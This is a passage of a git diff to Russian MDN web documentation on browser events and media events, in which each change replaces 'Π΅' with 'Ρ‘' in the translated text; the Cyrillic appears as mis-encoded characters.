-<p><span id="result_box" lang="ru"><span class="hps">Π•ΡΡ‚ΡŒ</span> <span class="hps">ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… источников</span> <span class="hps">событий, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ…</span> <span class="hps">Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅</span><span>,</span> <span class="hps">страницы ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…</span> <span class="hps">ΠΏΠΎΠΊΠ° Π½Π΅ доступны</span> <span class="hps">Π² Π΄Π°Π½Π½ΠΎΠΌ руководствС</span><span>.</span></span></p>
+<p><span id="result_box" lang="ru"><span class="hps">Π•ΡΡ‚ΡŒ</span> <span class="hps">ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… источников</span> <span class="hps">событий, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…</span> <span class="hps">Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅</span><span>,</span> <span class="hps">страницы ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…</span> <span class="hps">ΠΏΠΎΠΊΠ° Π½Π΅ доступны</span> <span class="hps">Π² Π΄Π°Π½Π½ΠΎΠΌ руководствС</span><span>.</span></span></p>
<div class="note">
<p><span id="result_box" lang="ru"><span class="hps">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</span><span>:</span> <span class="hps">Π­Ρ‚ΠΎ руководство</span> <span class="hps">событиС</span> <span class="hps">Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ</span>Π° <span class="hps">нуТдаСтся Π² сущСствСнной</span> <span class="hps">Ρ€Π°Π±ΠΎΡ‚Π΅</span><span>.</span><span>Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠ»ΠΆΠ½Π°</span> <span class="hps">Π±Ρ‹Ρ‚ΡŒ</span> <span class="hps">Ρ€Π΅ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Π°</span> <span class="hps">ΠΈ страницы</span> <span class="hps">пСрСписаны.</span> <span class="hps">ΠœΡ‹ надССмся, Ρ‡Ρ‚ΠΎ</span> <span class="hps">всС, Ρ‡Ρ‚ΠΎ Π²Ρ‹</span><span class="hps"> Π·Π½Π°Π΅Ρ‚Π΅ ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ</span> <span class="hps">ΠΎ событиях</span> <span class="hps">Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½ΠΎ</span> <span class="hps">здСсь.</span></span></p>
diff --git a/files/ru/web/guide/events/media_events/index.html b/files/ru/web/guide/events/media_events/index.html
index a3a13cc821..6c35079a6e 100644
--- a/files/ru/web/guide/events/media_events/index.html
+++ b/files/ru/web/guide/events/media_events/index.html
@@ -8,7 +8,7 @@ tags:
- события
translation_of: Web/Guide/Events/Media_events
---
-<p>ВстроСнныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HTML Ρ‚Π΅Π³ΠΎΠ² {{ HTMLElement("audio") }} ΠΈΠ»ΠΈ {{ HTMLElement("video") }} ΠΌΠ΅Π΄ΠΈΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ события. Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΈΡ… список ΠΈ описаниС.</p>
+<p>ВстроСнныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HTML Ρ‚Π΅Π³ΠΎΠ² {{ HTMLElement("audio") }} ΠΈΠ»ΠΈ {{ HTMLElement("video") }} ΠΌΠ΅Π΄ΠΈΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ события. Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΈΡ… список ΠΈ описаниС.</p>
<table class="standard-table">
<tbody>
@@ -26,7 +26,7 @@ translation_of: Web/Guide/Events/Media_events
</tr>
<tr>
<td><code>{{event("canplaythrough")}}</code></td>
- <td>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° состояниС готовности измСняСтся ΠΊ CAN_PLAY_THROUGH. Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Π΄ΠΈΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ воспроизвСдСно Π±Π΅Π· ΠΏΠ΅Ρ€Π΅Ρ€Ρ‹Π²Π°, прСдполагая, Ρ‡Ρ‚ΠΎ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ остаСтся, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ Π½Π° Π½Ρ‹Π½Π΅ΡˆΠ½Π΅ΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅. ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Ручная установка CURRENTTIME Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ событиС canplaythrough Π² Firefox. Π’ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… это ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ.</td>
+ <td>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° состояниС готовности измСняСтся ΠΊ CAN_PLAY_THROUGH. Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Π΄ΠΈΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ воспроизвСдСно Π±Π΅Π· ΠΏΠ΅Ρ€Π΅Ρ€Ρ‹Π²Π°, прСдполагая, Ρ‡Ρ‚ΠΎ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ остаётся, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ Π½Π° Π½Ρ‹Π½Π΅ΡˆΠ½Π΅ΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅. ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Ручная установка CURRENTTIME Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ событиС canplaythrough Π² Firefox. Π’ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… это ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ.</td>
</tr>
<tr>
<td><code>{{event("durationchange")}}</code></td>
@@ -86,7 +86,7 @@ translation_of: Web/Guide/Events/Media_events
</tr>
<tr>
<td><code>{{event("progress")}}</code></td>
- <td>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ΡΡ пСриодичСски для информирования ΠΎ прогрСссС скачивания ΠΌΠ΅Π΄ΠΈΠ° Ρ„Π°ΠΉΠ»Π°. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎΠ± объСмС Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… доступна Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ "buffered" элСмСнта ΠΌΠ΅Π΄ΠΈΠ°.</td>
+ <td>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ΡΡ пСриодичСски для информирования ΠΎ прогрСссС скачивания ΠΌΠ΅Π΄ΠΈΠ° Ρ„Π°ΠΉΠ»Π°. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎΠ± ΠΎΠ±ΡŠΡ‘ΠΌΠ΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… доступна Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ "buffered" элСмСнта ΠΌΠ΅Π΄ΠΈΠ°.</td>
</tr>
<tr>
<td><code>{{event("ratechange")}}</code></td>
@@ -114,7 +114,7 @@ translation_of: Web/Guide/Events/Media_events
</tr>
<tr>
<td><code>{{event("volumechange")}}</code></td>
- <td>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° измСняСтся Π³Ρ€ΠΎΠΌΠΊΠΎΡΡ‚ΡŒ Π·Π²ΡƒΠΊΠ° (Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° Π·Π²ΡƒΠΊ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½).</td>
+ <td>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° измСняСтся Π³Ρ€ΠΎΠΌΠΊΠΎΡΡ‚ΡŒ Π·Π²ΡƒΠΊΠ° (Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° Π·Π²ΡƒΠΊ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½).</td>
</tr>
<tr>
<td><code>{{event("waiting")}}</code></td>
diff --git a/files/ru/web/guide/events/overview_of_events_and_handlers/index.html b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html
index 7be572dc0f..326926fe3a 100644
--- a/files/ru/web/guide/events/overview_of_events_and_handlers/index.html
+++ b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html
@@ -7,13 +7,13 @@ translation_of: Web/Guide/Events/Overview_of_Events_and_Handlers
<p>Эта обзорная ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎ событиях ΠΈ ΠΈΡ… обработчиках описываСт шаблон проСктирования ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ Π΄Π»Ρ рСагирования Π½Π° события, Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‰ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π°Β Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ доступ ΠΊ web-страницС, ΠΈ содСрТит ΠΏΠΎΠ΄Π±ΠΎΡ€ΠΊΡƒ Ρ‚ΠΈΠΏΠΎΠ²Β ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ соврСмСнныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ.</p>
</div>
-<p>Бобытия ΠΈ ΠΈΡ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒ Π² JavaScript для рСагирования Π½Π° события, Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‰ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ доступ ΠΊΒ web-страницС, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ события ΠΎ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ΅ страницы ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ, взаимодСйствии с Π΅Π΅ содСрТимым, Π² зависимости ΠΎΡ‚ устройства, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±Ρ‹Π» Π·Π°ΠΏΡƒΡ‰Π΅Π½, ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ случаи, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ воспроизвСдСниС ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΌΠ΅Π΄ΠΈΠ°-ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈΒ ΠΈΠ»ΠΈ расчСт Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
+<p>Бобытия ΠΈ ΠΈΡ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒ Π² JavaScript для рСагирования Π½Π° события, Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‰ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ доступ ΠΊΒ web-страницС, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ события ΠΎ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ΅ страницы ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ, взаимодСйствии с Π΅Ρ‘ содСрТимым, Π² зависимости ΠΎΡ‚ устройства, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±Ρ‹Π» Π·Π°ΠΏΡƒΡ‰Π΅Π½, ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ случаи, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ воспроизвСдСниС ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΌΠ΅Π΄ΠΈΠ°-ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈΒ ΠΈΠ»ΠΈ расчёт Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
-<p>Бобытия ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий заняли Ρ†Π΅Π½Ρ‚Ρ€Π°Π»ΡŒΠ½ΠΎΠ΅ мСсто в web-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ с Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ языка Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, сопровоТдая смСну Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρ‹ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°Β ΠΎΡ‚ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Π° ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы к ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ событий, основанном Π½Π° ΠΏΠ΅Ρ€Π΅ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ΅ (reflow). Π‘Π½Π°Ρ‡Π°Π»Π°Β Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚, ΠΏΠΎΠΊΠ°Β ΠΎΠ½ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ всС рСсурсы, связанныС со страницСй, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ страницу ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. ΠžΡ‚Ρ€ΠΈΡΠΎΠ²Π°Π½Π½Π°Ρ страница остаСтся Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΏΠΎΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ запросит Π½ΠΎΠ²ΡƒΡŽ. Π‘ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ Π² ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π΅ ΠΊ рСндСрингу динамичСской страницы, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎ зацикливаСтся мСТду ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ, отрисовкой, прСдставлСниСм содСрТимого ΠΈ ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ΠΌΒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π½ΠΎΠ²ΠΎΠ³ΠΎ Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€Π° события. Π’Ρ€ΠΈΠ³Π³Π΅Ρ€Ρ‹ событий Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚,Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ рСсурса ΠΏΠΎ сСти<em>,</em> скачиваниС изобраТСний, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ отрисованы Π½Π° экранС, Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Π°Π½Π°Π»ΠΈΠ·Π° рСсурса, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ HTML-содСрТимого страницы, взаимодСйствиС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с содСрТимым страницы<em>,</em> наТатия ΠΊΠ½ΠΎΠΏΠΎΠΊ. Дуглас ΠšΡ€ΠΎΠΊΡ„ΠΎΡ€Π΄Β Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ это ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅Β Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… лСкциях, особСнно своСй Ρ€Π΅Ρ‡ΠΈΒ <em>"НСудобныС API: ВСория DOM",</em> которая описываСт измСнСния Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΎΡ‚ управляСмого событиями Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
+<p>Бобытия ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий заняли Ρ†Π΅Π½Ρ‚Ρ€Π°Π»ΡŒΠ½ΠΎΠ΅ мСсто в web-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ с Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ языка Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, сопровоТдая смСну Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρ‹ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°Β ΠΎΡ‚ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Π° ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы к ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ событий, основанном Π½Π° ΠΏΠ΅Ρ€Π΅ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ΅ (reflow). Π‘Π½Π°Ρ‡Π°Π»Π°Β Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚, ΠΏΠΎΠΊΠ°Β ΠΎΠ½ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ всС рСсурсы, связанныС со страницСй, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ страницу ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. ΠžΡ‚Ρ€ΠΈΡΠΎΠ²Π°Π½Π½Π°Ρ страница остаётся Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΏΠΎΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ запросит Π½ΠΎΠ²ΡƒΡŽ. Π‘ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ Π² ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π΅ ΠΊ рСндСрингу динамичСской страницы, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎ зацикливаСтся мСТду ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ, отрисовкой, прСдставлСниСм содСрТимого ΠΈ ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ΠΌΒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π½ΠΎΠ²ΠΎΠ³ΠΎ Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€Π° события. Π’Ρ€ΠΈΠ³Π³Π΅Ρ€Ρ‹ событий Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚,Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ рСсурса ΠΏΠΎ сСти<em>,</em> скачиваниС изобраТСний, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ отрисованы Π½Π° экранС, Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Π°Π½Π°Π»ΠΈΠ·Π° рСсурса, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ HTML-содСрТимого страницы, взаимодСйствиС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с содСрТимым страницы<em>,</em> наТатия ΠΊΠ½ΠΎΠΏΠΎΠΊ. Дуглас ΠšΡ€ΠΎΠΊΡ„ΠΎΡ€Π΄Β Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ это ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅Β Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… лСкциях, особСнно своСй Ρ€Π΅Ρ‡ΠΈΒ <em>"НСудобныС API: ВСория DOM",</em> которая описываСт измСнСния Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΎΡ‚ управляСмого событиями Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
<div style="margin: 0 auto; width: 68%;"><img alt="A comparison of the sequential and event-driven browser load sequences." src="https://mdn.mozillademos.org/files/6641/Browser_sequence_comparitive.svg" style="height: 454px; width: 1857px;"></div>
-<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ измСняСт послСдниС шаги, пСрСходя от простого ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΊ бСсконСчному Ρ†ΠΈΠΊΠ»Ρƒ, Π³Π΄Π΅ ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ ΠΈ обработка возникновСния Π½ΠΎΠ²Ρ‹Ρ… событий слСдуСт Π·Π° отрисовкой. Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ динамичСского ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° позволяСт страницС Π±Ρ‹Ρ‚ΡŒ частично ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½ΠΎΠΉ, Π΄Π°ΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΅Ρ‰Π΅ Π½Π΅ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ» ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ всСх рСсурсов; это Ρ‚Π°ΠΊ ΠΆΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ для дСйствий, управляСмыми событиями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ JavaScript ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚. (Π Π΅Ρ‡ΡŒ доступна Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… рСсурсах, Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ <a href="http://www.youtube.com/watch?v=Y2Y0U-2qJMs">этот</a>.) На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, всС срСды исполнСния JavaScript 